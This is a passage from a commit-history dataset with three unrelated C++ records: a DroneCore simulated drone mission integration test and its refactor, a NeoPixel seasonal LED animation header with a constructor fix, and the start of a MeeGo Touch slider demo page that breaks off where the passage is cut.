add_waypoint(47.398241338125118,\n                     8.5455360114574432,\n                     10.0f, 2.0f, true,\n                     0.0f, -60.0f,\n                     MissionItem::CameraAction::TAKE_PHOTO));\n\n    mission_items.push_back(\n        add_waypoint(47.398139363821485, 8.5453846156597137,\n                     10.0f, 5.0f, true,\n                     -46.0f, 0.0f,\n                     MissionItem::CameraAction::START_VIDEO));\n\n    mission_items.push_back(\n        add_waypoint(47.398058617228855,\n                     8.5454618036746979,\n                     10.0f, 2.0f, false,\n                     -90.0f, 30.0f,\n                     MissionItem::CameraAction::STOP_VIDEO));\n\n    mission_items.push_back(\n        add_waypoint(47.398100366082858,\n                     8.5456969141960144,\n                     10.0f, 5.0f, false,\n                     -45.0f, -30.0f,\n                     MissionItem::CameraAction::START_PHOTO_INTERVAL));\n\n    mission_items.push_back(\n        add_waypoint(47.398001890458097,\n                     8.5455576181411743,\n                     10.0f, 5.0f, false,\n                     0.0f, 0.0f,\n                     MissionItem::CameraAction::STOP_PHOTO_INTERVAL));\n\n    bool finished = false;\n    while (!finished) {\n        static auto _last_state = MissionState::INIT;\n        if (_last_state != _mission_state) {\n            std::cout << \"state: \" << int(_mission_state) << std::endl;\n            _last_state = _mission_state;\n        }\n\n        static bool _jump_done = false;\n\n        switch (_mission_state) {\n            case MissionState::INIT:\n                device.mission().send_mission_async(\n                    mission_items,\n                    std::bind(&receive_send_mission_result, _1));\n                _mission_state = MissionState::UPLOADING;\n                break;\n            case MissionState::UPLOADING:\n                break;\n            case MissionState::UPLOADING_DONE:\n                std::cout << \"arming!\" << std::endl;\n                if (!device.telemetry().armed()) {\n                    device.action().arm_async(std::bind(&receive_arm_result, _1));\n                    _mission_state = MissionState::ARMING;\n                }\n                break;\n            case MissionState::ARMING:\n                break;\n            case MissionState::ARMING_DONE:\n                \/\/ TODO: There can be a race here if PX4 still listens to the armed flag in\n                \/\/ the message DO_SET_MODE. Once it ignores it as in the spec, this is not\n                \/\/ needed anymore.\n                std::this_thread::sleep_for(std::chrono::seconds(2));\n                device.mission().start_mission_async(\n                    std::bind(&receive_start_mission_result, _1));\n                _mission_state = MissionState::STARTING;\n                break;\n            case MissionState::STARTING:\n                break;\n            case MissionState::STARTING_DONE:\n                _mission_state = MissionState::MISSION;\n\n                device.mission().subscribe_progress(\n                    std::bind(&receive_mission_progress, _1, _2));\n                break;\n            case MissionState::MISSION:\n                \/\/ Pause after 15s\n                std::this_thread::sleep_for(std::chrono::seconds(15));\n                std::cout << \"Pause mission again\" << std::endl;\n                device.mission().pause_mission_async(\n                    std::bind(&receive_pause_mission_result, _1));\n                _mission_state = MissionState::MISSION_PAUSING;\n                break;\n            case MissionState::MISSION_PAUSING:\n                break;\n            case MissionState::PAUSE:\n                \/\/ pause 2s, then carry on\n                std::this_thread::sleep_for(std::chrono::seconds(2));\n                std::cout << \"Start mission again\" << std::endl;\n                device.mission().start_mission_async(\n                    std::bind(&receive_continue_mission_result, _1));\n                _mission_state = MissionState::MISSION_RESUMING;\n                break;\n            case MissionState::MISSION_RESUMING:\n\n                if (!_jump_done) {\n                    \/\/ Jump back to previous mission item\n                    std::cout << \"Send current mission item\" << std::endl;\n                    device.mission().set_current_mission_item_async(\n                        3,\n                        std::bind(&receive_set_current_mission_item_result, _1));\n                    _jump_done = true;\n                }\n                break;\n            case MissionState::MISSION_DONE:\n                device.action().return_to_launch_async(\n                    std::bind(&receive_return_to_launch_result, _1));\n                _mission_state = MissionState::RETURN;\n                break;\n            case MissionState::RETURN:\n                if (!device.telemetry().in_air()) {\n                    _mission_state = MissionState::RETURN_DONE;\n                }\n                break;\n            case MissionState::RETURN_DONE:\n                device.action().disarm_async(std::bind(&receive_disarm_result, _1));\n                break;\n            case MissionState::DONE:\n                finished = true;\n                break;\n\n            case MissionState::ERROR:\n                finished = true;\n                break;\n\n        }\n\n        std::this_thread::sleep_for(std::chrono::milliseconds(10));\n    }\n\n    EXPECT_EQ(_mission_state, MissionState::DONE);\n}\n\nvoid receive_send_mission_result(Mission::Result result)\n{\n    EXPECT_EQ(result, Mission::Result::SUCCESS);\n\n    if (result == Mission::Result::SUCCESS) {\n        _mission_state = MissionState::UPLOADING_DONE;\n    } else {\n        std::cerr << \"Error: mission send result: \" << unsigned(result) << std::endl;\n        _mission_state = MissionState::ERROR;\n    }\n}\n\nvoid receive_start_mission_result(Mission::Result result)\n{\n    EXPECT_EQ(result, Mission::Result::SUCCESS);\n\n    if (result == Mission::Result::SUCCESS) {\n        _mission_state = MissionState::STARTING_DONE;\n    } else {\n        std::cerr << \"Error: mission start result: \" << unsigned(result) << std::endl;\n        _mission_state = MissionState::ERROR;\n    }\n}\n\nvoid receive_pause_mission_result(Mission::Result result)\n{\n    EXPECT_EQ(result, Mission::Result::SUCCESS);\n\n    if (result == Mission::Result::SUCCESS) {\n        _mission_state = MissionState::PAUSE;\n    } else {\n        std::cerr << \"Error: mission start result: \" << unsigned(result) << std::endl;\n        _mission_state = MissionState::ERROR;\n    }\n}\n\nvoid receive_continue_mission_result(Mission::Result result)\n{\n    EXPECT_EQ(result, Mission::Result::SUCCESS);\n\n    if (result == Mission::Result::SUCCESS) {\n        _mission_state = MissionState::MISSION_RESUMING;\n    } else {\n        std::cerr << \"Error: mission start result: \" << unsigned(result) << std::endl;\n        _mission_state = MissionState::ERROR;\n    }\n}\n\nvoid receive_set_current_mission_item_result(Mission::Result result)\n{\n    EXPECT_EQ(result, Mission::Result::SUCCESS);\n    std::cout << \"got answer: \" << int(result) << std::endl;\n\n    if (result != Mission::Result::SUCCESS) {\n        std::cerr << \"Got set current mission item result: \" << int(result) << std::endl;\n    }\n}\n\nvoid receive_mission_progress(int current, int total)\n{\n    std::cout << \"Mission status update: \" << current << \" \/ \" << total << std::endl;\n\n    if (current > 0 && current == total) {\n        _mission_state = MissionState::MISSION_DONE;\n    }\n}\n\nvoid receive_arm_result(Action::Result result)\n{\n    EXPECT_EQ(result, Action::Result::SUCCESS);\n\n    if (result == Action::Result::SUCCESS) {\n        _mission_state = MissionState::ARMING_DONE;\n    } else {\n        std::cerr << \"Error: arming result: \" << unsigned(result) << std::endl;\n        _mission_state = MissionState::ERROR;\n    }\n}\n\nvoid receive_return_to_launch_result(Action::Result result)\n{\n    EXPECT_EQ(result, Action::Result::SUCCESS);\n\n    if (result == Action::Result::SUCCESS) {\n    } else {\n        std::cerr << \"Error: return to land result: \" << unsigned(result) << std::endl;\n        _mission_state = MissionState::ERROR;\n    }\n}\n\n\nvoid receive_disarm_result(Action::Result result)\n{\n    EXPECT_EQ(result, Action::Result::SUCCESS);\n\n    if (result == Action::Result::SUCCESS) {\n    } else {\n        std::cerr << \"Error: disarming result: \" << unsigned(result) << std::endl;\n    }\n\n    _mission_state = MissionState::DONE;\n}\n\nstd::shared_ptr<MissionItem> add_waypoint(double latitude_deg,\n                                          double longitude_deg,\n                                          float relative_altitude_m,\n                                          float speed_m_s,\n                                          bool is_fly_through,\n                                          float gimbal_pitch_deg,\n                                          float gimbal_yaw_deg,\n                                          MissionItem::CameraAction camera_action)\n{\n    std::shared_ptr<MissionItem> new_item(new MissionItem());\n    new_item->set_position(latitude_deg, longitude_deg);\n    new_item->set_relative_altitude(relative_altitude_m);\n    new_item->set_speed(speed_m_s);\n    new_item->set_fly_through(is_fly_through);\n    new_item->set_gimbal_pitch_and_yaw(gimbal_pitch_deg, gimbal_yaw_deg);\n    new_item->set_camera_action(camera_action);\n    return new_item;\n}\n<commit_msg>integration_tests: improve mission example<commit_after>#include <iostream>\n#include <functional>\n#include <memory>\n#include <future>\n#include \"integration_test_helper.h\"\n#include \"dronecore.h\"\n\nusing namespace dronecore;\nusing namespace std::placeholders; \/\/ for `_1`\n\n\n\nstatic std::shared_ptr<MissionItem> add_mission_item(double latitude_deg,\n                                                     double longitude_deg,\n                                                     float relative_altitude_m,\n                                                     float speed_m_s,\n                                                     bool is_fly_through,\n                                                     float gimbal_pitch_deg,\n                                                     float gimbal_yaw_deg,\n                                                     MissionItem::CameraAction camera_action);\n\nstatic void receive_mission_progress(int current, int total, Device *device);\n\nstatic bool _break_done = false;\n\n\nTEST_F(SitlTest, MissionAddWaypointsAndFly)\n{\n    DroneCore dc;\n\n    DroneCore::ConnectionResult ret = dc.add_udp_connection();\n    ASSERT_EQ(ret, DroneCore::ConnectionResult::SUCCESS);\n\n    \/\/ Wait for device to connect via heartbeat.\n    std::this_thread::sleep_for(std::chrono::seconds(2));\n\n    Device &device = dc.device();\n\n    while (!device.telemetry().health_all_ok()) {\n        LogInfo() << \"waiting for device to be ready\";\n        std::this_thread::sleep_for(std::chrono::seconds(1));\n    }\n\n    LogInfo() << \"Device ready, let's start\";\n\n    std::vector<std::shared_ptr<MissionItem>> mission_items;\n\n    mission_items.push_back(\n        add_mission_item(47.398170327054473,\n                         8.5456490218639658,\n                         10.0f, 5.0f, false,\n                         20.0f, 60.0f,\n                         MissionItem::CameraAction::NONE));\n\n    mission_items.push_back(\n        add_mission_item(47.398241338125118,\n                         8.5455360114574432,\n                         10.0f, 2.0f, true,\n                         0.0f, -60.0f,\n                         MissionItem::CameraAction::TAKE_PHOTO));\n\n    mission_items.push_back(\n        add_mission_item(47.398139363821485, 8.5453846156597137,\n                         10.0f, 5.0f, true,\n                         -46.0f, 0.0f,\n                         MissionItem::CameraAction::START_VIDEO));\n\n    mission_items.push_back(\n        add_mission_item(47.398058617228855,\n                         8.5454618036746979,\n                         10.0f, 2.0f, false,\n                         -90.0f, 30.0f,\n                         MissionItem::CameraAction::STOP_VIDEO));\n\n    mission_items.push_back(\n        add_mission_item(47.398100366082858,\n                         8.5456969141960144,\n                         10.0f, 5.0f, false,\n                         -45.0f, -30.0f,\n                         MissionItem::CameraAction::START_PHOTO_INTERVAL));\n\n    mission_items.push_back(\n        add_mission_item(47.398001890458097,\n                         8.5455576181411743,\n                         10.0f, 5.0f, false,\n                         0.0f, 0.0f,\n                         MissionItem::CameraAction::STOP_PHOTO_INTERVAL));\n\n    {\n        \/\/ We only have the send_mission function asynchronous for now, so we wrap it using\n        \/\/ std::future.\n        auto prom = std::make_shared<std::promise<void>>();\n        auto future_result = prom->get_future();\n        device.mission().send_mission_async(\n        mission_items, [prom](Mission::Result result) {\n            EXPECT_EQ(result, Mission::Result::SUCCESS);\n            prom->set_value();\n        });\n\n        future_result.wait();\n        future_result.get();\n    }\n\n    const Action::Result arm_result = device.action().arm();\n    EXPECT_EQ(arm_result, Action::Result::SUCCESS);\n\n    \/\/ Before starting the mission, we want to be sure to subscribe to the mission progress.\n    \/\/ We pass on device to receive_mission_progress because we need it in the callback.\n    device.mission().subscribe_progress(std::bind(&receive_mission_progress, _1, _2, &device));\n\n    {\n        auto prom = std::make_shared<std::promise<void>>();\n        auto future_result = prom->get_future();\n        device.mission().start_mission_async(\n        [prom](Mission::Result result) {\n            EXPECT_EQ(result, Mission::Result::SUCCESS);\n            prom->set_value();\n        });\n\n        future_result.wait();\n        future_result.get();\n    }\n\n    \/\/ Make sure we have taken off before checking for landed.\n    std::this_thread::sleep_for(std::chrono::seconds(5));\n\n    \/\/ FIXME: this check does currently not work in SITL.\n    while (device.telemetry().in_air()) {\n        \/\/ Wait until we're done.\n        std::this_thread::sleep_for(std::chrono::seconds(1));\n        LogInfo() << \"in air\";\n\n    }\n    LogInfo() << \"Landed, exiting.\";\n}\n\nstd::shared_ptr<MissionItem> add_mission_item(double latitude_deg,\n                                              double longitude_deg,\n                                              float relative_altitude_m,\n                                              float speed_m_s,\n                                              bool is_fly_through,\n                                              float gimbal_pitch_deg,\n                                              float gimbal_yaw_deg,\n                                              MissionItem::CameraAction camera_action)\n{\n    std::shared_ptr<MissionItem> new_item(new MissionItem());\n    new_item->set_position(latitude_deg, longitude_deg);\n    new_item->set_relative_altitude(relative_altitude_m);\n    new_item->set_speed(speed_m_s);\n    new_item->set_fly_through(is_fly_through);\n    new_item->set_gimbal_pitch_and_yaw(gimbal_pitch_deg, gimbal_yaw_deg);\n    new_item->set_camera_action(camera_action);\n    return new_item;\n}\n\nvoid receive_mission_progress(int current, int total, Device *device)\n{\n    LogInfo() << \"Mission status update: \" << current << \" \/ \" << total;\n\n    if (current == 2) {\n\n        \/\/ Some time after the mission item 2, we take a quick break.\n        std::this_thread::sleep_for(std::chrono::seconds(2));\n\n        {\n            auto prom = std::make_shared<std::promise<void>>();\n            auto future_result = prom->get_future();\n\n            device->mission().pause_mission_async(\n            [prom](Mission::Result result) {\n                EXPECT_EQ(result, Mission::Result::SUCCESS);\n                prom->set_value();\n            });\n\n            future_result.wait();\n            future_result.get();\n        }\n        \/\/ We don't want to pause muptiple times in case we get the progress notification\n        \/\/ several times.\n        _break_done = true;\n\n        \/\/ Pause for 5 seconds.\n        std::this_thread::sleep_for(std::chrono::seconds(5));\n\n        \/\/ Then continue.\n        {\n            auto prom = std::make_shared<std::promise<void>>();\n            auto future_result = prom->get_future();\n            device->mission().start_mission_async(\n            [prom](Mission::Result result) {\n                EXPECT_EQ(result, Mission::Result::SUCCESS);\n                prom->set_value();\n            });\n\n            future_result.wait();\n            future_result.get();\n        }\n    }\n\n\n    if (current == total) {\n        \/\/ We are done, and can do RTL to go home.\n        const Action::Result result = device->action().arm();\n        EXPECT_EQ(result, Action::Result::SUCCESS);\n    }\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#ifndef ANIMATION_SEASONAL_HPP_\n#define ANIMATION_SEASONAL_HPP_\n\n#include \"..\/..\/lib\/Animation.hpp\"\n\nclass Animation_Seasonal : public Animation {\nprotected:\n    Animation_Seasonal() {}\n    ~Animation_Seasonal() {}\n\n    void init();\n};\n\n\/\/ there will be no files with Indiv in the name, this is just to reduce code and follow some of the Indiv implementation standards used in the other animations\n\/\/ Each Animation_Seasonal_XXX.cpp can\/will contain both Indiv and non-Indiv animations\nclass Animation_Seasonal_Indiv : public Animation_Seasonal {\nprotected:\n    Animation_Seasonal_Indiv(Adafruit_NeoPixel* _strip) : strip(_strip) {}\n    ~Animation_Seasonal_Indiv() {}\n\n    void init();\n\n\tAdafruit_NeoPixel* strip;\n};\n\n\/\/ Animation_Seasonal_Spring.cpp\n\nclass Animation_Seasonal_Indiv_Spring_ClearSkyFade : public Animation_Seasonal_Indiv {\nprivate:\n\tunsigned int i;\n\tbool increasing;\n\n\tstatic const int MAX_RED = 200;\n\tstatic const int MAX_GREEN = 180;\n\tstatic const int BLUE = 255;\npublic:\n    Animation_Seasonal_Indiv_Spring_ClearSkyFade(Adafruit_NeoPixel* strip) : Animation_Seasonal_Indiv(strip) {}\n    ~Animation_Seasonal_Indiv_Spring_ClearSkyFade() {}\n\n\tvoid init();\n\tvoid step();\n};\n\nclass Animation_Seasonal_Indiv_Spring_WindowColors : public Animation_Seasonal_Indiv {\nprivate:\n\tunsigned int i;\n\tunsigned short int color;\n\tbool increasing;\npublic:\n    Animation_Seasonal_Indiv_Spring_WindowColors(Adafruit_NeoPixel* strip) : Animation_Seasonal_Indiv(strip) {}\n    ~Animation_Seasonal_Indiv_Spring_WindowColors() {}\n\n\tvoid init();\n\tvoid step();\n};\n\nclass Animation_Seasonal_Indiv_Spring_ColorWipe : public Animation_Seasonal_Indiv {\nprivate:\n\tunsigned short int i;\n\tunsigned short int color_mode;\npublic:\n    Animation_Seasonal_Indiv_Spring_ColorWipe(Adafruit_NeoPixel* strip) : Animation_Seasonal_Indiv(strip) {}\n    ~Animation_Seasonal_Indiv_Spring_ColorWipe() {}\n\n\tvoid init();\n\tvoid step();\n};\n\n\/\/ Animation_Seasonal_Winter.cpp\n\n\/\/ Animation_Seasonal_Weather.cpp\n\nclass Animation_Seasonal_Indiv_Weather : public Animation_Seasonal_Indiv {\nprotected:\n\tunsigned int i;\n\tbool randomized_spacing;\n\tunsigned short int left_spacing;\n\tunsigned short int right_spacing;\n\n\tvoid precipitation_init(int update_rate);\n\tvoid precipitation_step(int min_spacing, int max_spacing, long unsigned int color);\n};\n\nclass Animation_Seasonal_Indiv_Weather_WindowLightRain : public Animation_Seasonal_Indiv_Weather {\npublic:\n    Animation_Seasonal_Indiv_Weather_WindowLightRain(Adafruit_NeoPixel* strip) : Animation_Seasonal_Indiv(strip) {}\n    ~Animation_Seasonal_Indiv_Weather_WindowLightRain() {}\n\n\tvoid init();\n\tvoid step();\n};\n\nclass Animation_Seasonal_Indiv_Weather_WindowRain : public Animation_Seasonal_Indiv_Weather {\npublic:\n    Animation_Seasonal_Indiv_Weather_WindowRain(Adafruit_NeoPixel* strip) : Animation_Seasonal_Indiv(strip) {}\n    ~Animation_Seasonal_Indiv_Weather_WindowRain() {}\n\n\tvoid init();\n\tvoid step();\n};\n\nclass Animation_Seasonal_Indiv_Weather_WindowHeavyRain : public Animation_Seasonal_Indiv_Weather {\npublic:\n    Animation_Seasonal_Indiv_Weather_WindowHeavyRain(Adafruit_NeoPixel* strip) : Animation_Seasonal_Indiv(strip) {}\n    ~Animation_Seasonal_Indiv_Weather_WindowHeavyRain() {}\n\n\tvoid init();\n\tvoid step();\n};\n\nclass Animation_Seasonal_Indiv_Weather_WindowLightSnow : public Animation_Seasonal_Indiv_Weather {\npublic:\n    Animation_Seasonal_Indiv_Weather_WindowLightSnow(Adafruit_NeoPixel* strip) : Animation_Seasonal_Indiv(strip) {}\n    ~Animation_Seasonal_Indiv_Weather_WindowLightSnow() {}\n\n\tvoid init();\n\tvoid step();\n};\n\nclass Animation_Seasonal_Indiv_Weather_WindowSnow : public Animation_Seasonal_Indiv_Weather {\npublic:\n    Animation_Seasonal_Indiv_Weather_WindowSnow(Adafruit_NeoPixel* strip) : Animation_Seasonal_Indiv(strip) {}\n    ~Animation_Seasonal_Indiv_Weather_WindowSnow() {}\n\n\tvoid init();\n\tvoid step();\n};\n\nclass Animation_Seasonal_Indiv_Weather_WindowHeavySnow : public Animation_Seasonal_Indiv_Weather {\npublic:\n    Animation_Seasonal_Indiv_Weather_WindowHeavySnow(Adafruit_NeoPixel* strip) : Animation_Seasonal_Indiv(strip) {}\n    ~Animation_Seasonal_Indiv_Weather_WindowHeavySnow() {}\n\n\tvoid init();\n\tvoid step();\n};\n\n#endif\n<commit_msg>fixed issue with indirect class constructor call in initializer list<commit_after>#ifndef ANIMATION_SEASONAL_HPP_\n#define ANIMATION_SEASONAL_HPP_\n\n#include \"..\/..\/lib\/Animation.hpp\"\n\nclass Animation_Seasonal : public Animation {\nprotected:\n    Animation_Seasonal() {}\n    ~Animation_Seasonal() {}\n\n    void init();\n};\n\n\/\/ there will be no files with Indiv in the name, this is just to reduce code and follow some of the Indiv implementation standards used in the other animations\n\/\/ Each Animation_Seasonal_XXX.cpp can\/will contain both Indiv and non-Indiv animations\nclass Animation_Seasonal_Indiv : public Animation_Seasonal {\nprotected:\n    Animation_Seasonal_Indiv(Adafruit_NeoPixel* _strip) : strip(_strip) {}\n    ~Animation_Seasonal_Indiv() {}\n\n    void init();\n\n\tAdafruit_NeoPixel* strip;\n};\n\n\/\/ Animation_Seasonal_Spring.cpp\n\nclass Animation_Seasonal_Indiv_Spring_ClearSkyFade : public Animation_Seasonal_Indiv {\nprivate:\n\tunsigned int i;\n\tbool increasing;\n\n\tstatic const int MAX_RED = 200;\n\tstatic const int MAX_GREEN = 180;\n\tstatic const int BLUE = 255;\npublic:\n    Animation_Seasonal_Indiv_Spring_ClearSkyFade(Adafruit_NeoPixel* strip) : Animation_Seasonal_Indiv(strip) {}\n    ~Animation_Seasonal_Indiv_Spring_ClearSkyFade() {}\n\n\tvoid init();\n\tvoid step();\n};\n\nclass Animation_Seasonal_Indiv_Spring_WindowColors : public Animation_Seasonal_Indiv {\nprivate:\n\tunsigned int i;\n\tunsigned short int color;\n\tbool increasing;\npublic:\n    Animation_Seasonal_Indiv_Spring_WindowColors(Adafruit_NeoPixel* strip) : Animation_Seasonal_Indiv(strip) {}\n    ~Animation_Seasonal_Indiv_Spring_WindowColors() {}\n\n\tvoid init();\n\tvoid step();\n};\n\nclass Animation_Seasonal_Indiv_Spring_ColorWipe : public Animation_Seasonal_Indiv {\nprivate:\n\tunsigned short int i;\n\tunsigned short int color_mode;\npublic:\n    Animation_Seasonal_Indiv_Spring_ColorWipe(Adafruit_NeoPixel* strip) : Animation_Seasonal_Indiv(strip) {}\n    ~Animation_Seasonal_Indiv_Spring_ColorWipe() {}\n\n\tvoid init();\n\tvoid step();\n};\n\n\/\/ Animation_Seasonal_Winter.cpp\n\n\/\/ Animation_Seasonal_Weather.cpp\n\nclass Animation_Seasonal_Indiv_Weather : public Animation_Seasonal_Indiv {\nprotected:\n\tunsigned int i;\n\tbool randomized_spacing;\n\tunsigned short int left_spacing;\n\tunsigned short int right_spacing;\n\n\tvoid precipitation_init(int update_rate);\n\tvoid precipitation_step(int min_spacing, int max_spacing, long unsigned int color);\n\n\tAnimation_Seasonal_Indiv_Weather(Adafruit_NeoPixel* strip) : Animation_Seasonal_Indiv(strip) {}\n    ~Animation_Seasonal_Indiv_Weather() {}\n};\n\nclass Animation_Seasonal_Indiv_Weather_WindowLightRain : public Animation_Seasonal_Indiv_Weather {\npublic:\n    Animation_Seasonal_Indiv_Weather_WindowLightRain(Adafruit_NeoPixel* strip) : Animation_Seasonal_Indiv_Weather(strip) {}\n    ~Animation_Seasonal_Indiv_Weather_WindowLightRain() {}\n\n\tvoid init();\n\tvoid step();\n};\n\nclass Animation_Seasonal_Indiv_Weather_WindowRain : public Animation_Seasonal_Indiv_Weather {\npublic:\n    Animation_Seasonal_Indiv_Weather_WindowRain(Adafruit_NeoPixel* strip) : Animation_Seasonal_Indiv_Weather(strip) {}\n    ~Animation_Seasonal_Indiv_Weather_WindowRain() {}\n\n\tvoid init();\n\tvoid step();\n};\n\nclass Animation_Seasonal_Indiv_Weather_WindowHeavyRain : public Animation_Seasonal_Indiv_Weather {\npublic:\n    Animation_Seasonal_Indiv_Weather_WindowHeavyRain(Adafruit_NeoPixel* strip) : Animation_Seasonal_Indiv_Weather(strip) {}\n    ~Animation_Seasonal_Indiv_Weather_WindowHeavyRain() {}\n\n\tvoid init();\n\tvoid step();\n};\n\nclass Animation_Seasonal_Indiv_Weather_WindowLightSnow : public Animation_Seasonal_Indiv_Weather {\npublic:\n    Animation_Seasonal_Indiv_Weather_WindowLightSnow(Adafruit_NeoPixel* strip) : Animation_Seasonal_Indiv_Weather(strip) {}\n    ~Animation_Seasonal_Indiv_Weather_WindowLightSnow() {}\n\n\tvoid init();\n\tvoid step();\n};\n\nclass Animation_Seasonal_Indiv_Weather_WindowSnow : public Animation_Seasonal_Indiv_Weather {\npublic:\n    Animation_Seasonal_Indiv_Weather_WindowSnow(Adafruit_NeoPixel* strip) : Animation_Seasonal_Indiv_Weather(strip) {}\n    ~Animation_Seasonal_Indiv_Weather_WindowSnow() {}\n\n\tvoid init();\n\tvoid step();\n};\n\nclass Animation_Seasonal_Indiv_Weather_WindowHeavySnow : public Animation_Seasonal_Indiv_Weather {\npublic:\n    Animation_Seasonal_Indiv_Weather_WindowHeavySnow(Adafruit_NeoPixel* strip) : Animation_Seasonal_Indiv_Weather(strip) {}\n    ~Animation_Seasonal_Indiv_Weather_WindowHeavySnow() {}\n\n\tvoid init();\n\tvoid step();\n};\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/***************************************************************************\n**\n** Copyright (C) 2010 Nokia Corporation and\/or its subsidiary(-ies).\n** All rights reserved.\n** Contact: Nokia Corporation (directui@nokia.com)\n**\n** This file is part of libmeegotouch.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at directui@nokia.com.\n**\n** This library is free software; you can redistribute it and\/or\n** modify it under the terms of the GNU Lesser General Public\n** License version 2.1 as published by the Free Software Foundation\n** and appearing in the file LICENSE.LGPL included in the packaging\n** of this file.\n**\n****************************************************************************\/\n\n#include \"sliderpage.h\"\n\n#include <MContainer>\n#include <MLabel>\n#include <MButton>\n#include <MSlider>\n#include <MSeekBar>\n#include <MLayout>\n#include <MLocale>\n#include <MApplicationPage>\n#include <MLinearLayoutPolicy>\n#include <QTimer>\n\nSliderPage::SliderPage() :\n    TemplatePage(),\n    ageLabel(0),\n    ageSlider(0),\n    ageContainer(0),\n    playerSeekBar(0),\n    playerButton(0),\n    playerContainer(0),\n    playTime(1230),\n    playerSeekBarIsPressed(false),\n    loadedContentMinimum(0),\n    loadedContentMaximum(0),\n    brightnessSlider(0),\n    brightnessContainer(0)\n{\n    gid = TemplatePage::LayoutsAndVisuals;\n}\n\nSliderPage::~SliderPage()\n{\n}\n\nQString SliderPage::timedemoTitle()\n{\n    return \"Slider\";\n}\n\nvoid SliderPage::createContent()\n{\n    TemplatePage::createContent();\n\n    MLayout *ageLayout = new MLayout;\n    MLinearLayoutPolicy *ageLayoutPolicy = new MLinearLayoutPolicy(ageLayout, Qt::Horizontal);\n    ageLayoutPolicy->setSpacing(0);\n    ageLayoutPolicy->setContentsMargins(0, 0, 0, 0);\n\n    ageLabel = new MLabel;\n    ageLabel->setTextElide(true);\n\n    ageLayoutPolicy->addItem(ageLabel);\n    ageLayoutPolicy->setStretchFactor(ageLabel, 0);\n\n    ageSlider = new MSlider;\n    ageLayoutPolicy->addItem(ageSlider);\n    ageLayoutPolicy->setStretchFactor(ageSlider, 1);\n\n    ageContainer = new MContainer;\n    ageContainer->centralWidget()->setLayout(ageLayout);\n    containerPolicy->addItem(ageContainer);\n\n    QObject::connect(ageSlider, SIGNAL(valueChanged(int)), this, SLOT(modifyAgeSliderHandle(int)));\n\n    MLayout *playerLayout = new MLayout;\n    MLinearLayoutPolicy *playerLayoutPolicy = new MLinearLayoutPolicy(playerLayout, Qt::Horizontal);\n    playerLayoutPolicy->setSpacing(0);\n    playerLayoutPolicy->setContentsMargins(0, 0, 0, 0);\n\n    if (qApp->isLeftToRight()) {\n        playerButton = new MButton;\n        playerButton->setViewType(MButton::iconType);\n        playerButton->setIconID(\"icon-m-common-play\");\n        playerLayoutPolicy->addItem(playerButton, Qt::AlignCenter);\n        playerLayoutPolicy->setStretchFactor(playerButton, 0);\n\n        playerSeekBar = new MSeekBar;\n        playerLayoutPolicy->addItem(playerSeekBar);\n        playerLayoutPolicy->setStretchFactor(playerSeekBar, 1);\n    } else {\n        playerSeekBar = new MSeekBar;\n        playerLayoutPolicy->addItem(playerSeekBar);\n        playerLayoutPolicy->setStretchFactor(playerSeekBar, 1);\n\n        playerButton = new MButton;\n        playerLayoutPolicy->addItem(playerButton, Qt::AlignCenter);\n        playerLayoutPolicy->setStretchFactor(playerButton, 0);\n    }\n\n    playerContainer = new MContainer;\n    playerContainer->centralWidget()->setLayout(playerLayout);\n    containerPolicy->addItem(playerContainer);\n\n    QObject::connect(playerSeekBar, SIGNAL(valueChanged(int)), this, SLOT(modifyPlayerSeekBarHandle(int)));\n    QObject::connect(playerSeekBar, SIGNAL(sliderPressed()), this, SLOT(playerSeekBarPressed()));\n    QObject::connect(playerSeekBar, SIGNAL(sliderReleased()), this, SLOT(playerSeekBarReleased()));\n    QObject::connect(playerSeekBar, SIGNAL(outOfLoadedContentRange()), this, SLOT(playerOutOfLoadedContentRange()));\n\n    QObject::connect(playerButton, SIGNAL(clicked()), this, SLOT(playerButtonClicked()));\n\n    MLayout *brightnessLayout = new MLayout;\n    MLinearLayoutPolicy *brightnessLayoutPolicy = new MLinearLayoutPolicy(brightnessLayout, Qt::Horizontal);\n    brightnessLayoutPolicy->setSpacing(0);\n    brightnessLayoutPolicy->setContentsMargins(0, 0, 0, 0);\n\n    brightnessSlider = new MSlider;\n    brightnessLayoutPolicy->addItem(brightnessSlider);\n\n    brightnessContainer = new MContainer;\n    brightnessContainer->centralWidget()->setLayout(brightnessLayout);\n    containerPolicy->addItem(brightnessContainer);\n\n    QObject::connect(brightnessSlider, SIGNAL(valueChanged(int)), this, SLOT(modifyBrightnessSliderHandle(int)));\n\n    retranslateUi();\n}\n\nvoid SliderPage::createLayout()\n{\n    layout = new MLayout(centralWidget());\n\n    landscapePolicy = new MLinearLayoutPolicy(layout, Qt::Vertical);\n    landscapePolicy->setContentsMargins(0, 30, 0, 0);\n\n    portraitPolicy = new MLinearLayoutPolicy(layout, Qt::Vertical);\n    portraitPolicy->setContentsMargins(0, 30, 0, 0);\n\n    layout->setLandscapePolicy(landscapePolicy);\n    layout->setPortraitPolicy(portraitPolicy);\n\n    container = new MWidget;\n\n    infoLabel = new MLabel;\n    infoLabel->setWordWrap(true);\n    infoLabel->setAlignment(Qt::AlignTop);\n\n    landscapePolicy->addItem(infoLabel);\n    landscapePolicy->addItem(container);\n\n    portraitPolicy->addItem(infoLabel);\n    portraitPolicy->addItem(container);\n}\n\nvoid SliderPage::retranslateUi()\n{\n    \/\/% \"Sliders\"\n    setTitle(qtTrId(\"xx_slider_page_title\"));\n    if (!isContentCreated())\n        return;\n\n    \/\/% \"Slider is used for continuous set of values, \"\n    \/\/% \"among which user can choose one value.\\n\\n\"\n    \/\/% \"Seekbar is a special type of Slider used for \"\n    \/\/% \"displaying playback status for multimedia content.\"\n    infoLabel->setText(\"<a><\/a>\" + qtTrId(\"xx_slider_page_info_label\"));\n\n    \/\/% \"Personal data\"\n    ageContainer->setTitle(qtTrId(\"xx_slider_personal_data_label\"));\n\n    \/\/ The engineering English below has lengthvariants:\n    \/\/% \"Please select your age:\\x9c!! Please select your age:\\x9c!! Please select your age:\\x9c!! Age:\"\n    ageLabel->setText(qtTrId(\"xx_slider_age_label\"));\n\n    ageSlider->setRange(0, 100);\n    ageSlider->setMinLabelVisible(true);\n    ageSlider->setMaxLabelVisible(true);\n    ageSlider->setHandleLabelVisible(true);\n\n    ageSlider->setMinLabel(QString::number(ageSlider->minimum()));\n    ageSlider->setMaxLabel(QString::number(ageSlider->maximum()));\n\n    modifyAgeSliderHandle(ageSlider->value());\n\n    \/\/% 